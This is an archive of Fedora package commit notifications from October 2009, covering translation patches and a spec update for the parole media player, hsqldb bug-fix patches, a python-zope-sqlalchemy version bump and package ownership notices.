@@ -394,6 +408,11 @@
 msgid "Paused"
 msgstr "Durdurulmu?"
 
+#: ../parole/parole-statusbar.c:88
+#, fuzzy
+msgid "Playing"
+msgstr "Oynat?lan Par?a"
+
 #: ../parole/parole-statusbar.c:117
 msgid "Live stream:"
 msgstr "Canl? yay?n:"
diff -Nur parole-0.1.90.orig/po/uk.po parole-0.1.90/po/uk.po
--- parole-0.1.90.orig/po/uk.po	2009-10-06 12:11:40.000000000 +0200
+++ parole-0.1.90/po/uk.po	2009-10-22 19:41:13.000000000 +0200
@@ -7,7 +7,7 @@
 msgstr ""
 "Project-Id-Version: uk\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
 "PO-Revision-Date: 2009-08-30 20:32+0300\n"
 "Last-Translator: Motsyo Gennadi <drool at altlinux.ru>\n"
 "Language-Team: Ukrainian\n"
@@ -117,6 +117,11 @@
 msgstr "_?????"
 
 #: ../data/interfaces/parole.ui.h:25
+#, fuzzy
+msgid "_Open location"
+msgstr "???????? ????????????????..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_??????"
 
@@ -133,15 +138,24 @@
 msgstr "<b>????:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr ""
+
+#: ../data/interfaces/plugins.ui.h:5
 #, fuzzy
 msgid "Media Player plugins"
 msgstr "???????????? ??????????"
 
-#: ../data/interfaces/plugins.ui.h:5
+#: ../data/interfaces/plugins.ui.h:6
 #, fuzzy
 msgid "Parole Plugins"
 msgstr "??????????? ????????"
 
+#: ../data/interfaces/plugins.ui.h:7
+#, fuzzy
+msgid "Plugin"
+msgstr "???????"
+
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
 msgstr "<b>????</b>"
@@ -391,6 +405,11 @@
 msgid "Paused"
 msgstr "?????"
 
+#: ../parole/parole-statusbar.c:88
+#, fuzzy
+msgid "Playing"
+msgstr "????????????? ????"
+
 #: ../parole/parole-statusbar.c:117
 msgid "Live stream:"
 msgstr "?????:"


Index: parole.spec
===================================================================
RCS file: /cvs/pkgs/rpms/parole/devel/parole.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- parole.spec	9 Oct 2009 08:30:48 -0000	1.1
+++ parole.spec	22 Oct 2009 17:57:44 -0000	1.2
@@ -1,6 +1,6 @@
 Name:           parole
 Version:        0.1.90
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Media player for the Xfce desktop
 
 Group:          Applications/Multimedia
@@ -9,17 +9,12 @@ URL:            http://goodies.xfce.org/
 Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
 # http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
 Patch0:         parole-0.1.90-fix-website-url.patch
-# the following patches are just translation updates
-# http://git.xfce.org/apps/parole/commit/?id=72afaf0774f8afcfbb15c8b4389282ba363bc621
-Patch1:         parole-0.1.90-update-japanese-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=df8ad0098db0d1bc1a2f08b89554607e8ec85b19
-Patch2:         parole-0.1.90-include-galician-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=b9fa73571f68b49b0836404aac4fe2a8419efba8
-Patch3:         parole-0.1.90-update-asturian-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=051f1a31c797c60ccedd1a36b6403aac9b950ed8
-Patch4:         parole-0.1.90-include-french-translation.patch
-# http://git.xfce.org/apps/parole/commit/?id=c30195f5b7d372f207d039b07d348d795886d926
-Patch5:         parole-0.1.90-include-german-translation.patch
+# http://git.xfce.org/apps/parole/commit/?id=795a28c9be6e6c3556a10f0064c75de639fedf7f
+Patch1:         parole-0.1.90-fix-untranslatable-strings.patch
+# http://git.xfce.org/apps/parole/commit/?id=80a358e16a7933529c70e5982bc7ad0774109580
+Patch2:         parole-0.1.90-set-correct-gettext-domain.patch
+# created from updated translations from git
+Patch3:         parole-0.1.90-translations.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gtk2-devel >= 2.16.0
@@ -63,11 +58,10 @@ The %{name}-devel package contains heade
 %prep
 %setup -q
 %patch0 -p1 -b .orig
-%patch1 -p1
-%patch2 -p1
+%patch1 -p1 -b .untranslatable
+%patch2 -p1 -b .gettext
 %patch3 -p1
-%patch4 -p1
-%patch5 -p1
+
 # fix desktop file
 sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in
 
@@ -128,6 +122,10 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
+- Set locale before loading the GtkBuilder interface definition for dialogs
+- Translation updates
+
 * Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-2
 - BuildRequire taglib-devel and fix libnotify requirement
 


--- parole-0.1.90-include-french-translation.patch DELETED ---


--- parole-0.1.90-include-galician-translation.patch DELETED ---


--- parole-0.1.90-include-german-translation.patch DELETED ---


--- parole-0.1.90-update-asturian-translation.patch DELETED ---


--- parole-0.1.90-update-japanese-translation.patch DELETED ---



From jkeating at fedoraproject.org  Thu Oct 22 17:59:41 2009
From: jkeating at fedoraproject.org (Jesse Keating)
Date: Thu, 22 Oct 2009 17:59:41 +0000 (UTC)
Subject: rpms/hsqldb/devel hsqldb-1.8.0-autoincrement.patch, NONE,
	1.1 hsqldb-1.8.0-bitxor-bitor.patch, NONE, 1.1 hsqldb.spec, 1.45, 1.46
Message-ID: <20091022175941.1C19411C008C@cvs1.fedora.phx.redhat.com>

Author: jkeating

Update of /cvs/pkgs/rpms/hsqldb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23569

Modified Files:
	hsqldb.spec 
Added Files:
	hsqldb-1.8.0-autoincrement.patch 
	hsqldb-1.8.0-bitxor-bitor.patch 
Log Message:
* Thu Oct 22 2009 Jesse Keating <jkeating at redhat.com> - 1.8.0.10-4
- Add patches from Caolan for #523110 and #517839


hsqldb-1.8.0-autoincrement.patch:
 Table.java      |    4 ++--
 TableWorks.java |    3 ++-
 2 files changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE hsqldb-1.8.0-autoincrement.patch ---
--- misc/hsqldb/src/org/hsqldb/Table.java	2007-10-19 23:59:07.000000000 +0200
+++ misc/build/hsqldb/src/org/hsqldb/Table.java	2009-09-11 13:45:42.939231519 +0200
@@ -149,10 +149,10 @@
     Constraint[]      constraintList;                 // constrainst for the table
     HsqlArrayList[]   triggerLists;                   // array of trigger lists
     private int[]     colTypes;                       // fredt - types of columns
-    private int[]     colSizes;                       // fredt - copy of SIZE values for columns
+    int[]     	      colSizes;                       // fredt - copy of SIZE values for columns
     private int[]     colScales;                      // fredt - copy of SCALE values for columns
     private boolean[] colNullable;                    // fredt - modified copy of isNullable() values
-    private Expression[] colDefaults;                 // fredt - expressions of DEFAULT values
+    Expression[] 	  colDefaults;                 // fredt - expressions of DEFAULT values
     private int[]        defaultColumnMap;            // fred - holding 0,1,2,3,...
     private boolean      hasDefaultValues;            //fredt - shortcut for above
     boolean              sqlEnforceSize;              // inherited from the database -
--- misc/hsqldb/src/org/hsqldb/TableWorks.java	2007-01-14 06:48:16.000000000 +0100
+++ misc/build/hsqldb/src/org/hsqldb/TableWorks.java	2009-09-11 13:47:50.328667463 +0200
@@ -670,7 +670,8 @@
             // default expressions can change
             oldCol.setType(newCol);
             oldCol.setDefaultExpression(newCol.getDefaultExpression());
-            table.setColumnTypeVars(colIndex);
+            table.colSizes[colIndex]    = oldCol.getSize();
+            table.colDefaults[colIndex] = oldCol.getDefaultExpression();
             table.resetDefaultsFlag();
 
             return;

hsqldb-1.8.0-bitxor-bitor.patch:
 Library.java |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE hsqldb-1.8.0-bitxor-bitor.patch ---
# This patch file was generated by NetBeans IDE
# This patch can be applied using context Tools: Apply Diff Patch action on respective folder.
# It uses platform neutral UTF-8 encoding.
# Above lines and this line are ignored by the patching process.
--- /home/hardydrew/ooo_source/OOO310_m15/hsqldb/download/hsqldb/Library.java
+++ /home/hardydrew/ooo_source/OOO310_m15/hsqldb/download/hsqldb/src/org/hsqldb/Library.java
@@ -1957,7 +1957,7 @@
         functionMap.put("bitand", bitand);
         functionMap.put("bitlength", bitLength);
         functionMap.put("bitor", bitor);
-        functionMap.put("bitxor", bitor);
+        functionMap.put("bitxor", bitxor);
         functionMap.put("character", character);
         functionMap.put("concat", concat);
         functionMap.put("cot", cot);


Index: hsqldb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hsqldb/devel/hsqldb.spec,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- hsqldb.spec	25 Jul 2009 02:13:39 -0000	1.45
+++ hsqldb.spec	22 Oct 2009 17:59:40 -0000	1.46
@@ -38,7 +38,7 @@
 
 Name:		hsqldb
 Version:	1.8.0.10
-Release:	3%{?dist}
+Release:	4%{?dist}
 Epoch:		1
 Summary:	Hsqldb Database Engine
 License:	BSD
@@ -52,6 +52,8 @@ Source4:    %{name}-1.8.0-standard-sqlto
 Patch0:     %{name}-1.8.0-scripts.patch
 Patch1:     hsqldb-tmp.patch
 Patch2:     %{name}-1.8.0-specify-su-shell.patch
+Patch3:     %{name}-1.8.0-bitxor-bitor.patch
+Patch4:     %{name}-1.8.0-autoincrement.patch
 Requires:   servletapi5
 Requires(post):   /bin/rm,/bin/ln
 Requires(post):   servletapi5
@@ -134,6 +136,8 @@ chmod -R go=u-w *
 %patch0
 %patch1 -p1
 %patch2
+%patch3 -p8
+%patch4 -p3
 
 %build
 export CLASSPATH=$(build-classpath \
@@ -270,6 +274,9 @@ fi
 %{_datadir}/%{name}
 
 %changelog
+* Thu Oct 22 2009 Jesse Keating <jkeating at redhat.com> - 1.8.0.10-4
+- Add patches from Caolan for #523110 and #517839
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1:1.8.0.10-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Thu Oct 22 18:08:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 18:08:38 +0000
Subject: [pkgdb] libgpg-error ownership updated
Message-ID: <20091022180838.E0D0110F85F@bastion2.fedora.phx.redhat.com>

Package libgpg-error in Fedora devel is now owned by tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Thu Oct 22 18:08:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 18:08:44 +0000
Subject: [pkgdb] libgpg-error ownership updated
Message-ID: <20091022180845.18B2310F885@bastion2.fedora.phx.redhat.com>

Package libgpg-error in Fedora 12 is now owned by tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From pkgdb at fedoraproject.org  Thu Oct 22 18:08:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 18:08:50 +0000
Subject: [pkgdb] libgpg-error ownership updated
Message-ID: <20091022180850.B6E8F10F85A@bastion2.fedora.phx.redhat.com>

Package libgpg-error in Fedora 11 is now owned by tmraz

To make changes to this package see:
  /pkgdb/packages/name/libgpg-error



From lmacken at fedoraproject.org  Thu Oct 22 18:14:50 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Thu, 22 Oct 2009 18:14:50 +0000 (UTC)
Subject: rpms/python-zope-sqlalchemy/F-11 .cvsignore, 1.2,
	1.3 python-zope-sqlalchemy.spec, 1.3, 1.4 sources, 1.2, 1.3
Message-ID: <20091022181450.C8B1F11C008C@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-zope-sqlalchemy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28446

Modified Files:
	.cvsignore python-zope-sqlalchemy.spec sources 
Log Message:
Update to 0.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-zope-sqlalchemy/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	24 Nov 2008 14:59:50 -0000	1.2
+++ .cvsignore	22 Oct 2009 18:14:50 -0000	1.3
@@ -1 +1 @@
-zope.sqlalchemy-0.3.tar.gz
+zope.sqlalchemy-0.4.tar.gz


Index: python-zope-sqlalchemy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-zope-sqlalchemy/F-11/python-zope-sqlalchemy.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-zope-sqlalchemy.spec	27 Feb 2009 00:23:40 -0000	1.3
+++ python-zope-sqlalchemy.spec	22 Oct 2009 18:14:50 -0000	1.4
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-zope-sqlalchemy
-Version:        0.3
-Release:        3%{?dist}
+Version:        0.4
+Release:        1%{?dist}
 Summary:        Minimal Zope/SQLAlchemy transaction integration
 
 Group:          Development/Languages
@@ -49,6 +49,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 0.4-1
+- Update to 0.4
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-zope-sqlalchemy/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	24 Nov 2008 14:59:50 -0000	1.2
+++ sources	22 Oct 2009 18:14:50 -0000	1.3
@@ -1 +1 @@
-3edc2b0f02e778483de64b60ff214df9  zope.sqlalchemy-0.3.tar.gz
+245885dc0923fa36216386867cf450ae  zope.sqlalchemy-0.4.tar.gz



From cwickert at fedoraproject.org  Thu Oct 22 18:15:05 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu, 22 Oct 2009 18:15:05 +0000 (UTC)
Subject: rpms/parole/F-11 parole-0.1.90-fix-untranslatable-strings.patch,
	NONE, 1.1 parole-0.1.90-set-correct-gettext-domain.patch, NONE,
	1.1 parole-0.1.90-translations.patch, NONE, 1.1 parole.spec, 1.1,
	1.2 parole-0.1.90-include-french-translation.patch, 1.1,
	NONE parole-0.1.90-include-galician-translation.patch, 1.1,
	NONE parole-0.1.90-include-german-translation.patch, 1.1,
	NONE parole-0.1.90-update-asturian-translation.patch, 1.1,
	NONE parole-0.1.90-update-japanese-translation.patch, 1.1, NONE
Message-ID: <20091022181505.6176D11C008C@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/parole/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28497/F-11

Modified Files:
	parole.spec 
Added Files:
	parole-0.1.90-fix-untranslatable-strings.patch 
	parole-0.1.90-set-correct-gettext-domain.patch 
	parole-0.1.90-translations.patch 
Removed Files:
	parole-0.1.90-include-french-translation.patch 
	parole-0.1.90-include-galician-translation.patch 
	parole-0.1.90-include-german-translation.patch 
	parole-0.1.90-update-asturian-translation.patch 
	parole-0.1.90-update-japanese-translation.patch 
Log Message:
* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-3
- Set locale before loading the GtkBuilder interface definition for dialogs
- Translation updates


parole-0.1.90-fix-untranslatable-strings.patch:
 data/interfaces/parole.ui  |    2 +-
 data/interfaces/plugins.ui |    4 ++--
 parole/parole-statusbar.c  |    2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE parole-0.1.90-fix-untranslatable-strings.patch ---
>From 795a28c9be6e6c3556a10f0064c75de639fedf7f Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Tue, 06 Oct 2009 15:54:56 +0000
Subject: Fix some untranslatable strings

---
diff --git a/data/interfaces/parole.ui b/data/interfaces/parole.ui
index 6fe1f24..6137bbf 100644
--- a/data/interfaces/parole.ui
+++ b/data/interfaces/parole.ui
@@ -38,7 +38,7 @@
                     </child>
                     <child>
                       <object class="GtkImageMenuItem" id="menu-open-location">
-                        <property name="label">_Open location</property>
+                        <property name="label" translatable="yes">_Open location</property>
                         <property name="visible">True</property>
                         <property name="use_underline">True</property>
                         <property name="image">image5</property>
diff --git a/data/interfaces/plugins.ui b/data/interfaces/plugins.ui
index 3253620..70df469 100644
--- a/data/interfaces/plugins.ui
+++ b/data/interfaces/plugins.ui
@@ -50,7 +50,7 @@
                     <child>
                       <object class="GtkTreeViewColumn" id="treeviewcolumn1">
                         <property name="resizable">True</property>
-                        <property name="title">Enabled</property>
+                        <property name="title" translatable="yes">Enabled</property>
                         <property name="clickable">True</property>
                         <child>
                           <object class="GtkCellRendererToggle" id="cellrenderertoggle">
@@ -64,7 +64,7 @@
                     </child>
                     <child>
                       <object class="GtkTreeViewColumn" id="treeviewcolumn2">
-                        <property name="title">Plugin</property>
+                        <property name="title" translatable="yes">Plugin</property>
                         <child>
                           <object class="GtkCellRendererText" id="cellrenderertext1"/>
                           <attributes>
diff --git a/parole/parole-statusbar.c b/parole/parole-statusbar.c
index b75cda5..9563b09 100644
--- a/parole/parole-statusbar.c
+++ b/parole/parole-statusbar.c
@@ -85,7 +85,7 @@ parole_statusbar_set_duration (ParoleStatusbar *bar, ParoleState state, gdouble
 	if ( bar->priv->duration != 0)
 	{
 	    text = g_strdup_printf ("%s %4.2f/%4.2f", 
-				    state == PAROLE_STATE_PAUSED ? _("Paused") : ("Playing"), position, bar->priv->duration);
+				    state == PAROLE_STATE_PAUSED ? _("Paused") : _("Playing"), position, bar->priv->duration);
 	}
 	if ( text )
 	{

parole-0.1.90-set-correct-gettext-domain.patch:
 parole-builder.c |   31 +++++++++++--------------------
 parole-builder.h |    3 ---
 2 files changed, 11 insertions(+), 23 deletions(-)

--- NEW FILE parole-0.1.90-set-correct-gettext-domain.patch ---
>From 80a358e16a7933529c70e5982bc7ad0774109580 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 21 Oct 2009 10:15:51 +0000
Subject: Set the locale before loading the GtkBuilder interface definition for the dialogs

---
diff --git a/parole/parole-builder.c b/parole/parole-builder.c
index 926144a..43179ea 100644
--- a/parole/parole-builder.c
+++ b/parole/parole-builder.c
@@ -26,6 +26,8 @@
 #include <stdlib.h>
 #include <string.h>
 
+#include <libxfce4util/libxfce4util.h>
+
 #include "interfaces/parole_ui.h"
 #include "parole-builder.h"
 
@@ -47,32 +49,21 @@ parole_builder_get_main_interface (void)
     return GTK_BUILDER (parole_builder_object);
 }
 
-GtkBuilder *parole_builder_new_from_file (const gchar *file)
-{
-    GtkBuilder *builder;
-    GError *error = NULL;
-
-    builder = gtk_builder_new ();
-    
-    gtk_builder_add_from_file (GTK_BUILDER (builder),
-			       file,
-			       &error);
-			       
-    if ( error )
-    {
-	g_critical ("%s", error->message);
-	g_error_free (error);
-    }
-    
-    return builder;
-}
-
 GtkBuilder *parole_builder_new_from_string (const gchar *ui, gsize length)
 {
     GError *error = NULL;
     GtkBuilder *builder;
     
     builder = gtk_builder_new ();
+
+    /*
+     * Set the locale before loading the GtkBuilder interface definition
+     * probably this will be fixed in libxfce4util's side so keep a version 
+     * check.
+     */
+#if LIBXFCE4UTIL_CHECK_VERSION (4, 6, 1)
+    xfce_textdomain (GETTEXT_PACKAGE, LOCALEDIR, "UTF-8");
+#endif
     
     gtk_builder_add_from_string (builder, ui, length, &error);
     
diff --git a/parole/parole-builder.h b/parole/parole-builder.h
index 4411f22..3f0cbf0 100644
--- a/parole/parole-builder.h
+++ b/parole/parole-builder.h
@@ -28,8 +28,6 @@ G_BEGIN_DECLS
 
 GtkBuilder       	       *parole_builder_get_main_interface       (void);
 
-GtkBuilder		       *parole_builder_new_from_file   		(const gchar *file);
-
 GtkBuilder		       *parole_builder_new_from_string 		(const gchar *ui,
 									 gsize length);
 
--
cgit v0.8.2.1

parole-0.1.90-translations.patch:
 LINGUAS |    2 
 ast.po  |  110 ++++-----
 ca.po   |  736 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 da.po   |  114 +++++----
 de.po   |  750 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 es.po   |  148 ++++++------
 fr.po   |  724 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 gl.po   |  720 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 id.po   |   23 +
 ja.po   |   60 +++--
 lv.po   |  731 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 nl.po   |  758 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 pt.po   |  758 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 ru.po   |  105 +++++---
 sk.po   |   59 ++--
 tr.po   |   23 +
 uk.po   |   23 +
 17 files changed, 5562 insertions(+), 282 deletions(-)

--- NEW FILE parole-0.1.90-translations.patch ---
diff -Nur parole-0.1.90.orig/po/ast.po parole-0.1.90/po/ast.po
--- parole-0.1.90.orig/po/ast.po	2009-10-06 12:11:39.000000000 +0200
+++ parole-0.1.90/po/ast.po	2009-10-22 19:41:13.000000000 +0200
@@ -7,8 +7,8 @@
 msgstr ""
 "Project-Id-Version: ast\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-09-03 13:51+0100\n"
+"POT-Creation-Date: 2009-10-14 19:53+0000\n"
+"PO-Revision-Date: 2009-10-20 22:22+0100\n"
 "Last-Translator: astur <malditoastur at gmail.com>\n"
 "Language-Team: Asturian <alministradores at softastur.org>\n"
 "MIME-Version: 1.0\n"
@@ -54,7 +54,8 @@
 msgid "Mute"
 msgstr "Silenciar"
 
-#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../data/interfaces/parole.ui.h:10
+#: ../parole/parole-player.c:1047
 #: ../parole/parole-disc-menu.c:113
 msgid "Next Chapter"
 msgstr "Siguiente Cap?tulu Chapter"
@@ -63,8 +64,9 @@
 msgid "None"
 msgstr "Deng?n"
 
-#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
-#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../data/interfaces/parole.ui.h:12
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-about.c:52
 #: ../plugins/window-title/window-title.c:40
 msgid "Parole Media Player"
 msgstr "Parole Media Player"
@@ -73,7 +75,8 @@
 msgid "Plugins"
 msgstr "Plugins"
 
-#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../data/interfaces/parole.ui.h:14
+#: ../parole/parole-player.c:1059
 #: ../parole/parole-disc-menu.c:114
 msgid "Previous Chapter"
 msgstr "Cap?tulu Previu"
@@ -119,6 +122,10 @@
 msgstr "_Media"
 
 #: ../data/interfaces/parole.ui.h:25
+msgid "_Open location"
+msgstr "_Abrir llugar..."
+
+#: ../data/interfaces/parole.ui.h:26
 msgid "_View"
 msgstr "_Ver"
 
@@ -135,14 +142,20 @@
 msgstr "<b>Sitiu:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
-msgid "Media Player plugins"
-msgstr "Axustes del Reproductor de Medios"
+msgid "Enabled"
+msgstr "Activ?u"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
+msgid "Media Player plugins"
+msgstr "Plugins del Reproductor de Medios"
+
+#: ../data/interfaces/plugins.ui.h:6
 msgid "Parole Plugins"
-msgstr "Preferencies de Complementos de Parole"
+msgstr "Plugins de Parole"
+
+#: ../data/interfaces/plugins.ui.h:7
+msgid "Plugin"
+msgstr "Plugin"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -239,42 +252,39 @@
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr ""
+msgstr "Reproducir o posar"
 
 #: ../parole/main.c:186
-#, fuzzy
 msgid "Stop playing"
-msgstr "Amosar llista de reproducci?n"
+msgstr "Detener reproducci?n"
 
 #: ../parole/main.c:187
-#, fuzzy
 msgid "Next track"
 msgstr "Siguiente pista"
 
 #: ../parole/main.c:188
-#, fuzzy
 msgid "Previous track"
 msgstr "Pista previa"
 
 #: ../parole/main.c:189
 msgid "Seek forward"
-msgstr ""
+msgstr "Guetar haza alantre"
 
 #: ../parole/main.c:190
 msgid "Seek Backward"
-msgstr ""
+msgstr "Guetar haza atr?s"
 
 #: ../parole/main.c:191
 msgid "Raise volume"
-msgstr ""
+msgstr "Xubir el volume"
 
 #: ../parole/main.c:192
 msgid "Lower volume"
-msgstr ""
+msgstr "Menor volume"
 
 #: ../parole/main.c:193
 msgid "Mute volume"
-msgstr ""
+msgstr "Silenciar"
 
 #: ../parole/main.c:194
 msgid "Version information"
@@ -284,27 +294,20 @@
 msgid "Media to play"
 msgstr "Mediu a reproducir"
 
-#: ../parole/main.c:231
+#: ../parole/main.c:233
 #, c-format
 msgid "Parole is already running, use -i to open a new instance\n"
 msgstr "Parole y? ta execut?ndose, use -i p'abrir una nueva instancia\n"
 
 #: ../parole/parole-gst.c:1289
-msgid ""
-"Unable to load playbin GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1305
-msgid ""
-"Unable to load video GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1501
-#, fuzzy
 msgid "The stream is taking too much time to load"
 msgstr "El fluxu ta llevando enforma tiempu pa cargar"
 
@@ -330,11 +333,10 @@
 
 #: ../parole/parole-medialist.c:454
 msgid "Unknown playlist format, Please select a support playlist format"
-msgstr ""
-"Formatu de llista desconoc?u, por favor esbille una llista con formatu "
-"sofit?u t?unicamente"
+msgstr "Formatu de llista desconoc?u, por favor esbille una llista con formatu sofit?u t?unicamente"
 
-#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+#: ../parole/parole-medialist.c:520
+#: ../parole/parole-player.c:1591
 msgid "Playlist"
 msgstr "Llista de reproducci?n"
 
@@ -377,14 +379,16 @@
 #.
 #. * Next chapter menu item
 #.
-#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+#: ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:122
 msgid "Next Track"
 msgstr "Siguiente pista"
 
 #.
 #. * Previous chapter menu item
 #.
-#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+#: ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:123
 msgid "Previous Track"
 msgstr "Pista previa"
[...6621 lines suppressed...]
 msgid "Clear history"
@@ -617,12 +611,12 @@
 #: ../parole/parole-disc-menu.c:194
 #, c-format
 msgid "Track %i"
-msgstr ""
+msgstr "Skladba %i"
 
 #: ../parole/parole-plugins-manager.c:227
 #: ../parole/parole-plugins-manager.c:285
 msgid "Visit Website"
-msgstr ""
+msgstr "Nav?t?vi? webov? str?nku"
 
 #: ../plugins/properties/stream-properties.c:121
 #: ../plugins/properties/stream-properties.c:122
@@ -649,7 +643,7 @@
 
 #: ../plugins/properties/stream-properties.c:307
 msgid "General"
-msgstr ""
+msgstr "V?eobcen?"
 
 #: ../plugins/properties/stream-properties.c:354
 msgid "Stream doesn't support tags changes"
@@ -679,7 +673,7 @@
 
 #: ../plugins/tray/tray-icon.c:373
 msgid "Tray icon plugin"
-msgstr ""
+msgstr "Modul ikony v oznamovacej oblasti"
 
 #: ../plugins/tray/tray-icon.c:383
 msgid "Enable notification"
@@ -687,34 +681,33 @@
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "V?dy minimalizova? to oznamovacej oblasti, pri zavret? okna"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "Minimalizova? do oznamovacej oblasti?"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "Minimalizova? do oznamovacej oblasti"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Naozaj chcete ukon?i? Parole"
 
 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "Zapam?ta? zoznam skladieb"
+msgstr "Zapam?ta? m?j v?ber"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
 msgid "Tray icon"
-msgstr ""
+msgstr "Ikona v oznamovacej oblasti"
 
 #. Title
 #: ../plugins/tray/tray-icon.c:545
 msgid "Show icon in the system tray"
-msgstr ""
